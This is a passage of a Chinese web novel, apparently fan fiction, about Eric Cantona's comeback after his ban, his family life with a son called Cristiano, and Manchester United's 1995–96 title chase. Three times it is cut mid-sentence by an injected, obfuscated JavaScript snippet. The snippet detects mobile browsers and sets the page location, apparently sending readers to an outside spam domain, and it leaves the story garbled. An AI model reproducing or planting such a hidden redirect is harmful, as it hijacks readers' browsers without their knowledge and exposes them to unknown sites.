“紧张吗？”她轻声问。 坎通纳接过茶杯，感受着温暖透过陶瓷传递到掌心：“更多的是……不确定。九个月很长，足球世界变化很快。” 艾米莉靠在他肩上：“但有些东西永远不会变。比如你对足球的理解，比如你在关键时刻的冷静……”她抬头看着丈夫，“比如克里斯蒂亚诺对你的崇拜。” 坎通纳抿了一口茶，茶香在口腔中弥漫：“明天我要带他去训练场。弗格森同意让他坐在替补席后面观赛。” “他一定会高兴坏的。”艾米莉笑着说，“这孩子最近做梦都在说要看爸爸比赛。” 坎通纳望向儿子卧室的窗户，那里贴满了曼联的海报和克里斯蒂亚诺自己画的足球战术图。他突然想起九个月前那个雨夜，自己在塞尔赫斯特公园球场的愤怒一跃。当时的他绝不会想到，这段看似黑暗的禁赛期，反而让他收获了更多——更深的家庭纽带，更清晰的自我认知，以及，或许，一个更好的足球生涯的开端。 “走吧，”他揽住妻子的肩膀，“该休息了。周六还有一场硬仗要打。” 卧室的灯熄灭后，克里斯蒂亚诺悄悄从被窝里爬出来，蹑手蹑脚地走到窗前。他望着满天繁星，小声地说：“请让爸爸进球吧，求求你了。”然后又在胸前画了个十字，补充道：“但如果不能，也没关系，只要他开心就好。” 比赛日清晨，曼彻斯特难得迎来了一个阳光明媚的秋日。坎通纳比往常醒得更早，轻手轻脚地起床，生怕吵醒还在熟睡的艾米莉。他站在浴室的镜子前刮胡子，发现自己的眼神比想象中更加平静。 下楼时，他注意到餐桌上已经摆好了一杯橙汁和一张纸条：给世界上最棒的足球运动员。——爱你的克里斯。纸条旁边还放着一个用橡皮泥捏成的小奖杯。坎通纳小心地拿起那个歪歪扭扭的“奖杯”，嘴角不自觉地上扬。 “我就知道你会早起。”艾米莉的声音从楼梯上传来。她穿着睡袍走下来，手里拿着一件熨烫好的白衬衫。“穿上这个，媒体肯定会围堵你。” 坎通纳接过衬衫：“克里斯呢？” “还在睡。不过我已经设好闹钟了，保证不会错过比赛。”艾米莉说道。 早餐后，坎通纳独自驱车前往老特拉福德。让他意外的是，尽管距离比赛还有六个小时，球场外已经聚集了不少球迷。他们举着标语和围巾，上面写着“欢迎回来，国王”和“海鸥终会回巢——只有一个坎通纳”。看到他的车经过，球迷们立刻欢呼起来。 更衣室里空无一人。坎通纳走向自己的更衣柜——九个月来第一次，那里挂着他的7号球衣。他伸手抚过光滑的布料，感受着队徽的纹路。然后，他小心地将克里斯蒂亚诺的橡皮泥奖杯和那张画放在柜子最上层。 “我就知道会在这里找到你。”弗格森的声音从门口传来。苏格兰人手里拿着一沓战术资料，“提前五小时到？紧张了？” 坎通纳关上柜门：“只是需要一点安静的时间。” 弗格森走过来，递给他一张纸：“利物浦的首发名单。詹姆斯守门，中场是巴恩斯和麦克马纳曼的组合。我需要你在前场多回撤接应，打乱他们的节奏。” 坎通纳认真地看着名单，点点头：“巴恩斯喜欢前压，他身后的空档可以利用。” “正是如此。”弗格森拍了拍他的肩膀，“现在，去热身吧。别把自己搞得太紧张，就像训练时那样踢就行。” 距离比赛开始还有两小时，球场外已经聚集了无数球迷，他们高唱着曼联的队歌，挥舞着围巾和旗帜。在众多红色球衣中，不时能看到印有坎通纳名字和7号的球衣——这是禁赛结束后他的第一场比赛，所有人都期待着“国王”的回归。 更衣室里，坎通纳正在仔细地缠绷带。他的动作很慢，仿佛在进行某种仪式。克里斯蒂亚诺坐在旁边的长凳上，眼睛一眨不眨地看着父亲。 “爸爸，你为什么要在脚踝缠这么多层？” 坎通纳停下动作：“为了保护关节，防止受伤。”他拿起一卷新的绷带，“想试试吗？” 小男孩立刻伸出手，学着父亲的样子在手腕上缠了几圈，结果绷带松松垮垮地垂了下来。坎通纳忍不住笑了，他拉过儿子的手，耐心地示范正确的缠绕方法。 “要拉紧，但不能太紧，否则会阻碍血液循环。就像……”他思考了一下，“就像系鞋带，既要牢固又要舒服。” 基恩走进更衣室，看到这一幕挑了挑眉：“现在连绷带都要家传了？” 坎通纳耸耸肩：“基础知识要从小抓起。” 弗格森推门而入，更衣室立刻安静下来。苏格兰人扫视了一圈，目光最后落在坎通纳身上。 “埃里克，准备好了吗？” 坎通纳点点头，站起身活动了下脚踝：“随时可以。” 弗格森露出满意的表情，转向全队：“今天的战术很简单——把球传给埃里克。” 队员们发出一阵轻笑，紧张的气氛顿时缓解了不少。弗格森继续布置具体战术，坎通纳则不时在笔记本上记下重点。克里斯蒂亚诺凑过来，好奇地看着那些复杂的战术符号。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561685|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这是‘跑位’”，坎通纳指着其中一个箭头小声解释，“这是‘传球路线’……” 赛前热身时，老特拉福德的看台已经座无虚席。当坎通纳踏上草皮，整个球场爆发出震耳欲聋的欢呼声。他抬头望向看台，红色的旗帜和围巾汇成海洋，“只有一个坎通纳”的歌声响彻云霄。 “感觉如何？”吉格斯跑过他身边，大声问道。 坎通纳深吸一口气：“像回家。” 坎通纳刻意避开了靠近利物浦球迷的看台，他专注地进行着传球和射门练习，每一脚球都处理得一丝不苟。场边的弗格森观察着他的状态，微微点头。 “看起来状态不错，”助理教练麦克拉伦评价道，“脚步比我想象的轻盈。” 弗格森哼了一声：“我告诉过你，他在社区中心可没闲着。那些孩子把他当免费教练使唤，一周训练五天。” 回到更衣室，弗格森做了最后的战术部署。苏格兰人没有长篇大论，只是简单地说：“九个月来，人们一直在讨论埃里克·坎通纳是否还能踢球。今天，我们要用行动告诉他们答案。” 站在球员通道里，坎通纳深吸一口气。九个月了，他终于要再次踏上这片草地。身后，基恩拍了拍他的肩膀：“别想太多，就当是又一场训练赛。” 坎通纳回头看了看队友们，吉格斯对他眨了眨眼，舒梅切尔做了个鬼脸。他突然意识到，这就是他怀念的感觉——不是掌声，不是进球，而是这种并肩作战的默契。 当广播念出他的名字时，整个老特拉福德爆发出震耳欲聋的欢呼。坎通纳最后一个跑出通道，迎接他的是近五万球迷的呐喊和掌声。看台上，无数写着“欢迎回来，国王”的横幅在挥舞。 比赛开始后，利物浦果然如弗格森预料的那样，对坎通纳进行了重点盯防。每次他拿球，都会有至少两名防守球员上前逼抢。第十五分钟，坎通纳在右路接到基恩的传球，一个漂亮的马赛回旋转身，晃过了扑上来的麦克马纳曼。 “漂亮的摆脱！”解说员惊呼，“看来九个月的禁赛丝毫没有影响坎通纳的技术！” 看台上爆发出热烈的掌声。坎通纳抬头看了眼家属区，克里斯蒂亚诺正激动地跳上跳下，艾米莉则微笑着鼓掌。 上半场进行到第三十分钟，场上比分仍是0-0。坎通纳在前场积极回撤接应，为队友创造了几次不错的机会，但都被利物浦门将詹姆斯化解。在一次角球防守后，利物浦发动快速反击，巴恩斯带球长驱直入，幸好舒梅切尔神勇扑救，才保住了球门不失。 “我们需要进球，”坎通纳在回防时对吉格斯说，“他们的右后卫是个弱点。” 吉格斯点点头：“下次反击时我会提前跑位。” 上半场补时阶段，坎通纳的预言应验了。他在中场抢断成功，立刻送出一记精准的直塞球，吉格斯如离弦之箭般插入禁区，面对出击的詹姆斯冷静推射远角。 “Goal！！！曼联1-0领先！坎通纳的助攻，吉格斯的进球！” 坎通纳跑向角旗区，和威尔士人紧紧拥抱。队友们纷纷围上来庆祝，场边的弗格森也难得地露出了笑容。 中场休息时，更衣室里的气氛既兴奋又紧张。 “干得好，埃里克。”弗格森拍拍坎通纳的肩膀，“但别放松，利物浦下半场肯定会反扑。” 坎通纳擦了擦额头的汗水：“他们的左中卫转身慢，我们可以多打他身后。” 下半场开始后，利物浦果然加强了攻势。第五十三分钟，麦克马纳曼在禁区边缘的一脚弧线球险些扳平比分，球擦着横梁飞出底线。曼联门前风声鹤唳，坎通纳不得不频繁回撤参与防守。 第六十七分钟，场上出现了争议性的一幕。坎通纳在突破时被利物浦后卫绊倒，裁判却示意比赛继续。老特拉福德顿时嘘声四起，坎通纳从地上爬起来，没有抱怨，只是拍了拍球衣上的草屑，继续比赛。 “爸爸被犯规了！”克里斯蒂亚诺在场边气愤地喊道，小脸涨得通红。 艾米莉安抚地搂住儿子的肩膀：“裁判也是人，会犯错的。重要的是你爸爸怎么应对。” 正如她所说，坎通纳很快用行动做出了回应。第七十五分钟，他在中场接到舒梅切尔的大脚开球，胸部停球后转身摆脱防守，送出一记四十码外的精准长传，找到了右路插上的贝克汉姆。年轻的小贝传中，科尔头球攻门，被詹姆斯神勇扑出。 “太可惜了！”解说员惋惜道，“坎通纳这脚传球简直妙到毫巅！” 比赛进入最后十分钟，利物浦的攻势更加凶猛。第八十五分钟，巴恩斯的远射打在曼联后卫身上变线，舒梅切尔勉强将球扑出底线。角球开出后，利物浦中卫头球攻门，球直奔死角，舒梅切尔再次做出世界级扑救，单掌将球托出横梁。 场边的弗格森已经坐不住了，不断向第四官员抱怨补时时间。看台上的曼联球迷也开始紧张地唱歌，试图为球队打气。 补时第三分钟，坎通纳在前场抢断成功，带球突入禁区。面对出击的詹姆斯，他冷静地选择了挑射，球划过一道优美的弧线，越过门将头顶…… “砰！”球重重地砸在横梁上弹出底线。 坎通纳跪倒在草地上，双手抱头。整个老特拉福德发出一声巨大的叹息。家属区里，克里斯蒂亚诺失望地捂住脸，艾米莉则紧紧搂住儿子。 裁判终于吹响了终场哨声，曼联1-0战胜利物浦。球员们互相拥抱庆祝，坎通纳则走向场边，将克里斯蒂亚诺抱了起来。 “我们赢了，爸爸！”小男孩兴奋地喊道，完全忘记了刚才的失望。 坎通纳亲了亲儿子的脸颊：“是的，我们赢了。但你知道最重要的是什么吗？” 克里斯蒂亚诺想了想：“你回来了？” 坎通纳微笑着点头：“我回来了。” 18.王者归来（2） 赛后新闻发布会上，弗格森带着坎通纳一同出席。苏格兰人满面红光，语气中掩饰不住骄傲。 “有人质疑我为什么让一个九个月没比赛的球员首发，”弗格森扫视着台下的记者，“现在你们看到答案了。” 记者们的问题如潮水般涌来： “坎通纳先生，你如何评价自己复出首战的表现？” “坎通纳先生，禁赛九个月后回归，你最大的感受是什么？” “坎通纳先生，球迷们称这场比赛是‘国王的归来’，你怎么看？” 坎通纳等所有问题都问完后，才缓缓开口：“今天不是关于我，而是关于整支球队。我们踢了一场漂亮的比赛，这才是最重要的。” “那你那句著名的‘海鸥’言论……”一个记者刚开口，就被坎通纳打断。 “今天我只想谈论足球。”他站起身，“谢谢大家。” 回到更衣室，队员们正在庆祝这场重要的胜利。有人开了香槟，泡沫喷得到处都是。弗格森走进来，脸上带着罕见的笑容。 “干得好，小伙子们。特别是你，”他看向坎通纳，“欢迎回来，埃里克。” 更衣室里响起一片掌声和口哨声，坎通纳举起饮料杯，向全队致意：“谢谢你们，没有你们的支持，这九个月会很难熬。” 回家的路上，克里斯蒂亚诺在车后座睡着了，怀里还抱着比赛用球——坎通纳特意向裁判要来的纪念品。艾米莉坐在副驾驶，温柔地看着丈夫。 “开心吗？”她轻声问。 坎通纳看着后视镜里儿子熟睡的脸庞，点了点头：“比想象中更开心。” 第二天清晨，坎通纳家的手机铃声打破了周末的宁静。艾米莉睡眼惺忪地拿起手机，对面传来弗格森标志性的苏格兰口音。 “艾米莉，抱歉这么早打扰。埃里克在吗？” 坎通纳接过手机，声音还带着睡意：“老板？出什么事了？” “看今天的《星期日镜报》体育版。”弗格森的声音异常严肃，“然后立刻给我回电话。” 坎通纳披上睡袍，轻轻走下楼，生怕吵醒还在熟睡的克里斯蒂亚诺。门口的报纸静静地躺在门垫上，他捡起来翻开体育版，头版的大幅照片让他瞬间清醒——那是昨天比赛中他进球后庆祝的特写，旁边配着耸动的标题：《暴力分子归来：足球是否该容忍这样的球员？》 文章内容更是充满攻击性，不仅重提飞踹事件，还引用所谓“专家评论”质疑英足总对坎通纳的处罚太轻。最令人愤怒的是，文章最后一段竟然提到了克里斯蒂亚诺：“我们有理由担心，这样的暴力倾向是否会通过言传身教影响下一代？看看场边那个模仿父亲庆祝动作的小男孩吧……” 坎通纳的手不自觉地攥紧报纸，纸张在他手中发出不堪重负的呻吟。他深吸一口气，拨通了弗格森的电话。 “看完了？”弗格森开门见山。 “嗯。”坎通纳的声音低沉得可怕。 “听着，埃里克，俱乐部已经准备好声明支持你。但我的建议是——不要回应。这种垃圾不值得你浪费精力。” 坎通纳望向楼梯口，克里斯蒂亚诺正揉着眼睛走下来，怀里还抱着昨天那个比赛用球。“我明白，老板。但涉及到克里斯……” “交给我处理。”弗格森打断他，“你今天有什么安排？” “原本打算带克里斯去公园踢球。“ “照常去。”弗格森的语气不容置疑，“让那些等着拍你‘暴怒反应’的狗仔们看看，真正的埃里克·坎通纳是什么样子。” 挂断电话，坎通纳努力调整表情，转向儿子：“早安，冠军。睡得好吗？” 克里斯蒂亚诺兴奋地挥舞着小手：“爸爸！我们能看昨天的比赛录像吗？我想看你那个助攻！” 早餐后，坎通纳如约带着儿子去了家附近的公园。他特意给克里斯蒂亚诺穿上了印有自己名字的曼联球衣，自己也穿着休闲的运动服。不出所料，几个记者远远地跟着他们，相机镜头时刻对准这对父子。 “爸爸，那些人为什么老看我们？”克里斯蒂亚诺不解地问。 坎通纳把足球放在草地上：“因为他们太无聊了。来吧，让我看看你的左脚进步没有。” 接下来的一个小时里，坎通纳耐心地指导儿子练习各种基本技术。克里斯蒂亚诺全神贯注地模仿着父亲的动作，时不时因为成功完成一个技巧而欢呼雀跃。远处的记者们显然对这个平淡温馨的场景感到失望，有几个已经收拾器材准备离开。 “爸爸，我能试试你昨天的那个庆祝动作吗？”练习间隙，克里斯蒂亚诺突然问道。 坎通纳挑眉：“哪个动作？” “就是这样的！”小男孩站直身体，昂首挺胸，双臂微微张开，表情庄严得像个小国王。 坎通纳忍不住笑出声：“那不是庆祝动作，克里斯。那只是……爸爸在感受那一刻。” “感受什么？” “感受……”坎通纳思考着如何向十岁的孩子解释这种复杂情绪，“感受所有爱我的人给我的力量。球迷，队友，妈妈，还有你。” 克里斯蒂亚诺似懂非懂地点点头，突然扑上来抱住父亲：“我也感受到了！当你进球的时候，我胸口这里热热的！”他指着自己的小心脏位置。 坎通纳紧紧抱住儿子，突然觉得那些恶意的报道变得无比渺小。就在这时，一个熟悉的声音从身后传来： “打扰一下，坎通纳先生？” 坎通纳转身，看到一个戴着眼镜的年轻男子站在不远处，手里拿着笔记本。“《曼彻斯特晚报》体育版，能占用您几分钟时间吗？” 坎通纳下意识地把克里斯蒂亚诺护在身后：“如果是关于那篇垃圾报道……” “不，不是。”记者连忙摇头，“我们想做一个关于您社区服务的专题。马库斯——就是您教的那个脏辫男孩——他所在的社区足球队昨天在看台上为您加油。” 坎通纳的表情缓和下来。他记得马库斯，那个在雨中训练中特别认真的孩子。 “他们来了？” “二十多个孩子，都是您教过的。”记者翻开笔记本，“马库斯说，您告诉他们‘足球可以改变人生’。我想知道，这九个月的社区服务是否也改变了您？” 坎通纳看了看身边的克里斯蒂亚诺，小男孩正专注地练习着踩单车动作。“它让我记起了足球最纯粹的样子，”他最终说道，“不是为了掌声或头条，而是为了……”他指了指儿子，“为了那些看着你的人。” 采访结束后，坎通纳带着克里斯蒂亚诺去了冰淇淋店。小男孩兴高采烈地选择了一个超大号的巧克力甜筒，吃得满脸都是。 “慢点吃，”坎通纳用纸巾擦掉儿子脸上的巧克力，“没人跟你抢。” “爸爸，”克里斯蒂亚诺突然问，“为什么报纸上有人说你不好？” 坎通纳的手停顿了一下：“你看到那篇文章了？” “我认得你的照片。”克里斯蒂亚诺低下头，“上面写着不好的话。” 坎通纳放下纸巾，认真地看着儿子：“听着，克里斯。这世界上总会有人对你说‘不’，批评你，甚至侮辱你。重要的是……”他轻轻抬起儿子的下巴，“你知道自己是谁，知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569411|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道爱你的人是谁。其他的，都不重要。” 克里斯蒂亚诺思考了一会儿，突然问：“就像海鸥不用在乎渔船怎么想？” 坎通纳愣了一下，随即大笑起来：“没错，就像海鸥不用在乎渔船怎么想。” 回家的路上，克里斯蒂亚诺一手抱着足球，一手牵着父亲，蹦蹦跳跳地说个不停。坎通纳的手机响了，是雅克从马赛打来的。 “埃里克！我看到那些英国佬又在胡说八道了！需要我带几个伙计过去‘谈谈’吗？”老渔夫的大嗓门即使隔着电话也震得人耳膜发疼。 坎通纳笑着摇头：“不用了，老朋友。不值得。” “这才是我认识的埃里克！”雅克的声音充满欣慰，“对了，我寄了包裹给你和克里斯，是马赛最新鲜的海鲜和橄榄油。艾米莉知道怎么做才好吃！” 挂断电话，坎通纳发现克里斯蒂亚诺正仰头看着他：“是雅克叔叔吗？他说什么？” “他说给你寄了好吃的。”坎通纳捏了捏儿子的小鼻子，“还说要教你钓鱼。” “太棒了！”克里斯蒂亚诺欢呼起来，“我要和诺亚一起钓鱼！” 晚上，当坎通纳哄睡儿子后，发现艾米莉正在书房里整理剪报。桌上摊开着几十份来自不同媒体的报道，绝大多数都是对他回归表现的正面评价。 “看看这个，”艾米莉指着《泰晤士报》的一篇文章，“‘坎通纳用足球说话，让所有质疑者闭嘴’。” 坎通纳摇摇头：“我不需要这些，莉莉。” “我知道。”妻子温柔地说，“但克里斯长大后可能会想看。我想给他做个剪贴本，让他知道父亲是如何面对逆境的。” 坎通纳感动地抱住妻子：“谢谢你。” “对了，”艾米莉从抽屉里拿出一封信，“今天收到的，来自英足总。” 坎通纳皱眉拆开信封，随即惊讶地挑眉：“他们邀请我参加‘足球反暴力’公益活动……作为代言人？” 艾米莉微笑着点头：“看来有些人终于明白你那句话的意思了。” “哪句话？” “当海鸥跟着拖网渔船飞行时……”艾米莉模仿着丈夫深沉的口吻。 坎通纳大笑，将妻子搂入怀中。窗外，曼彻斯特的夜空繁星点点。他想起这九个月的点点滴滴——禁赛初期的愤怒与迷茫，社区服务的充实与感动，教导孩子们的快乐，以及昨天的完美回归。这一切，让他成为了更好的球员，更好的父亲，更好的人。 楼上，克里斯蒂亚诺的房间里传来轻微的响动。坎通纳轻手轻脚地走上楼，推开虚掩的房门。小男孩已经睡着了，床边墙壁上贴满了曼联的剪报和照片，最新的一张是昨天坎通纳进球后的特写，旁边歪歪扭扭地写着：“我的爸爸，世界上最棒的球员。” 坎通纳轻轻吻了吻儿子的额头，为他掖好被角。回到走廊，他望向挂在墙上的全家福——那是禁赛期间拍的，三人都穿着休闲装，背景是马赛的海港。照片里的坎通纳笑得轻松自然，完全不同于球场上的霸气形象。 “爸爸？”克里斯蒂亚诺迷迷糊糊的声音从房间里传出。 坎通纳立刻转身：“怎么了，冠军？” “明天……还能去公园踢球吗？” “当然。”坎通纳走回床边，“只要你愿意，我们每天都可以去。” 小男孩满足地咕哝了一声，又沉沉睡去。坎通纳站在门口，突然觉得无比平静。无论外界如何评价，无论未来还有怎样的挑战，此刻的他都无比确定——作为球员，作为丈夫，作为父亲，他正走在正确的道路上。 而这，就足够了。 19.永不放弃的红魔精神（1） 1996年1月21日，老特拉福德球场的更衣室里弥漫着一种罕见的压抑氛围。曼联刚刚0-1输给了阿斯顿维拉，与领头羊纽卡斯尔的差距拉大到了12分。坎通纳坐在自己的位置上，用毛巾擦拭着湿漉漉的头发，沉默不语。更衣室里只有球员们沉重的呼吸声和球鞋砸在地板上的闷响。 弗格森推门而入，苏格兰人脸上的皱纹比平时更深了几分。他环视了一圈垂头丧气的球员，突然用力拍了拍战术板。 “都抬起头来！”弗格森的声音像鞭子一样抽在每个人心上，“我们输掉的只是一场比赛，不是整个赛季！” 坎通纳抬起头，正好对上弗格森锐利的目光。“埃里克，”弗格森点名道，“你相信我们能逆转12分的差距吗？” 更衣室里所有人的目光都集中到了坎通纳身上。法国人缓缓站起身，扯下脖子上的毛巾：“我相信每一场比赛都值得全力以赴，老板。至于积分榜……”他耸了耸肩，“数字会自己说话。” 弗格森满意地点点头，转向全队：“从现在开始，我们一场一场地踢。下一场对布莱克本，我要看到完全不同的曼联！” 赛后新闻发布会上，记者们的问题像刀子一样尖锐：“坎通纳先生，曼联是否已经退出冠军争夺？”“你认为凯文·基冈的纽卡斯尔会轻松夺冠吗？” 坎通纳面无表情地回答：“赛季还有五个月，足球场上什么都可能发生。” 回到家时已是深夜，但客厅的灯还亮着。艾米莉在沙发上睡着了，膝盖上放着一本打开的童话书。坎通纳轻手轻脚地走过去，想把书拿走，却不小心惊醒了妻子。 “输了？”艾米莉揉了揉眼睛。 坎通纳点点头，在她身边坐下：“差距拉大到12分了。” 艾米莉握住丈夫的手：“克里斯蒂亚诺等你等到十点，非要看比赛集锦。他看到你被犯规的那一幕时……” “他什么反应？”坎通纳突然紧张起来。 “他把你去年对利物浦的进球录像放了一遍又一遍。”艾米莉微笑着说，“最后睡着前还嘟囔着‘爸爸下次一定会赢’。” 坎通纳胸口一热，疲惫感顿时消散了不少。他轻手轻脚地走上楼，推开儿子卧室的门。克里斯蒂亚诺在床上蜷缩成一团，怀里还抱着那个已经有些磨损的比赛用球——去年他对利物浦复出战的纪念品。床头墙上贴满了曼联的剪报和照片，最新的一张是今天的积分榜，纽卡斯尔高高在上，曼联屈居第二。 坎通纳小心地抽出足球，为儿子盖好被子。就在他准备离开时，克里斯蒂亚诺突然迷迷糊糊地喊了声：“爸爸……” “我在这儿，小冠军。”坎通纳立刻回到床边。 小男孩半梦半醒地问：“我们还能拿冠军吗？” 坎通纳俯身亲了亲儿子的额头：“我们会拼到最后一刻，我保证。” 第二天清晨，坎通纳比平时起得更早。他轻手轻脚地换上训练服，准备去卡灵顿加练。下楼时却发现克里斯蒂亚诺已经坐在厨房里，面前摆着一碗麦片，眼睛盯着电视上的体育新闻。 “……曼联落后纽卡斯尔12分，英超冠军之争似乎已经失去悬念……” 克里斯蒂亚诺看到父亲，立刻关掉电视：“爸爸，我给你做了早餐！”他骄傲地指着一片涂得乱七八糟的吐司和一杯溢出来的橙汁。 坎通纳忍住笑意，在儿子对面坐下：“谢谢，克里斯。不过今天不是周末吗？怎么起这么早？” “我想和你一起去训练。”克里斯蒂亚诺的眼睛闪闪发亮，“费兰教练说，要想进步就得加倍努力。” 坎通纳咬了一口儿子准备的吐司，面包边烤得有些焦了，果酱也涂得太厚，但这是他吃过最美味的早餐之一。“好，但你要答应我，累了就说，别逞强。” “我保证！”克里斯蒂亚诺立刻跳起来去拿自己的训练包。 清晨的卡灵顿训练基地空无一人，只有守夜的保安对坎通纳父子点头致意。坎通纳带着儿子先做了半小时的热身和基础训练，然后开始练习射门。 “注意支撑脚的位置，”坎通纳示范着，“不是正对球门，要稍微侧一点，这样才有发力空间。” 克里斯蒂亚诺认真地模仿着父亲的动作，但前几次射门都偏得离谱。小男孩咬着嘴唇，一次又一次地尝试，直到第十脚才终于打进球门死角。 “看到了吗？爸爸！我做到了！”他兴奋地跳了起来。 坎通纳笑着点头：“做得很好。但你知道最重要的是什么吗？” “技术？” “不，”坎通纳摇摇头，“是你没有因为前九次失败就放弃。” 训练结束后，父子俩坐在场边休息。克里斯蒂亚诺小口喝着水，突然问道：“爸爸，12分真的很多吗？” 坎通纳思考了一下该如何向十岁的孩子解释积分制度：“相当于我们赢四场比赛，他们全输。” “哦……”克里斯蒂亚诺皱着小脸思考了一会儿，“那很难，但不是不可能，对吧？” 坎通纳揉了揉儿子的头发：“在足球世界里，没有什么是不可能的。” 下午，曼联全队集结训练。弗格森看到坎通纳带着克里斯蒂亚诺一起来，挑了挑眉但没有反对。训练开始前，苏格兰人把所有人召集到一起。 “我知道你们在想什么，”弗格森的声音不大但充满力量，“12分看起来像一座山。但记住，纽卡斯尔也会犯错，而我们要做的，就是确保自己不再犯错。” 训练强度比平时更高，弗格森不断要求球员们加快节奏。坎通纳在一次对抗中与帕里斯特相撞，两人都摔得不轻，但立刻爬起来继续投入训练。场边的克里斯蒂亚诺看得目不转睛，小手紧紧攥着训练背心。 “看到了吗？”基恩走到小男孩身边坐下，“你爸爸从不退缩，即使是在训练中。 克里斯蒂亚诺用力点头：“我长大了也要这样！” 基恩难得地笑了：“那就从明天开始，每天多练半小时。” “一小时！”克里斯蒂亚诺立刻说。 训练结束后，坎通纳发现儿子正在笔记本上画着什么。凑近一看，是一张简易的积分榜，纽卡斯尔的名字被画了个大大的叉，曼联后面则画了个向上的箭头。 “这是什么？”坎通纳好奇地问。 “我的计划表，”克里斯蒂亚诺认真地解释，“每次我们赢球，就画一个红勾；纽卡斯尔输球，就画个蓝叉。等到我们的红勾比他们多……”他做了个爆炸的手势，“嘭！冠军！” 坎通纳忍不住把儿子抱起来转了个圈：“好主意，克里斯！我们一起填这张表。” 1月31日，曼联客场挑战布莱克本。坎通纳在赛前热身时特意看向看台，克里斯蒂亚诺和艾米莉坐在客队球迷区，小男孩举着亲手画的加油横幅，上面歪歪扭扭地写着“红魔永不言弃”。 比赛开始后，曼联展现出完全不同的精神面貌。坎通纳在前场不断制造威胁，第38分钟，他接吉格斯传中，一记势大力沉的头球攻破布莱克本大门！ 1-0！曼联领先！ 进球后的坎通纳冲向客队看台，对着克里斯蒂亚诺的方向做了个“爱心”手势。小男孩激动得又蹦又跳，差点从栏杆上翻下去，被艾米莉及时拉住。 下半场，坎通纳又助攻科尔打入一球，最终曼联2-0完胜对手。更令人欣喜的是，纽卡斯尔在同一轮被西汉姆联逼平，差距缩小到了10分。 “看到了吗？”回程的大巴上，坎通纳指着儿子的小积分表，“第一个红勾可以画上了。” 克里斯蒂亚诺认真地画上红勾和蓝叉：“还差10分，爸爸！” 接下来的一个月，曼联势如破竹。2月10日3-1胜女王公园巡游者，坎通纳梅开二度；2月24日2-0胜埃弗顿，坎通纳打入锁定胜局的一球；3月2日1-0小胜阿森纳，坎通纳助攻吉格斯破门…… 每一场比赛后，克里斯蒂亚诺都会虔诚地更新他的积分表。纽卡斯尔的状态却开始波动，先是输给西汉姆，又被曼城逼平。到3月中旬，曼联已经将差距缩小到了4分！ 3月20日，曼联主场迎战纽卡斯尔，这场直接对话将很大程度上决定冠军归属。赛前更衣室里，气氛紧张得几乎凝固。弗格森没有做长篇大论的动员，只是简单地说：“记住，12分的差距是我们一点一点追回来的。今天，我们要让他们知道，谁才是真正的王者。” 坎通纳站起身，环视队友们：“不为球迷，不为教练，就为我们自己——为了这三个月来的每一滴汗水。” 比赛开始后，双方都踢得小心翼翼。第32分钟，坎通纳在中场拿球，一个漂亮的马赛回旋过掉巴顿，随即送出一记精准直塞——科尔突入禁区被放倒！ 点球！ 整个老特拉福德屏住呼吸，看着坎通纳走向点球点。他把球稳稳放在十二码处，后退几步，目光坚定地看向球门。裁判哨响，坎通纳助跑——右脚推射左下角！纽卡斯尔门将扑对了方向，但球速太快，1-0！ 进球后的坎通纳没有疯狂庆祝，只是站在原地，张开双臂接受全场欢呼。看台上，克里斯蒂亚诺激动地模仿着父亲的动作，小脸涨得通红。 下半场，纽卡斯尔大举反扑，但曼联的防线坚如磐石。第78分钟，坎通纳再次展现王者风范，接贝克汉姆传中，一记凌空抽射将比分锁定为2-0！ 终场哨响，曼联球员们相拥庆祝。积分榜上，他们与纽卡斯尔的差距只剩1分！坎通纳走向场边，将克里斯蒂亚诺抱了起来。 “看到了吗？小冠军？”他在儿子耳边说，“永不放弃，这就是红魔精神！” 小男孩紧紧搂着父亲的脖子：“我就知道你能做到！现在只差1分了！” 回更衣室的路上，坎通纳遇到了弗格森。苏格兰人难得地露出笑容：“干得好，埃里克。但还没结束。” 坎通纳点点头：“我们知道，老板。一场一场来。” 老特拉福德的草坪在春日阳光下泛着翡翠般的光泽，曼联主场迎战考文垂的比赛即将开始，克里斯蒂亚诺坐在替补席后面的专属座位上，膝盖上摊开着那本越来越厚的积分表。自从三个月前曼联落后纽卡斯尔12分开始，小男孩就雷打不动地记录着每一轮比赛的结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569412|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果。 “爸爸说今天也要赢。”克里斯蒂亚诺对旁边的工作人员认真解释，“这样我们就能超过纽卡斯尔了！” 工作人员笑着揉了揉小男孩的卷发：“你爸爸最近状态火热，肯定没问题。” 确实，自从一月份那场失利后，曼联在坎通纳的带领下已经取得了九连胜。而纽卡斯尔则在重压下频频失误，昨天他们刚刚0-1输给了阿森纳。这意味着只要今天曼联获胜，就能在积分榜上反超2分，首次登上榜首位置。 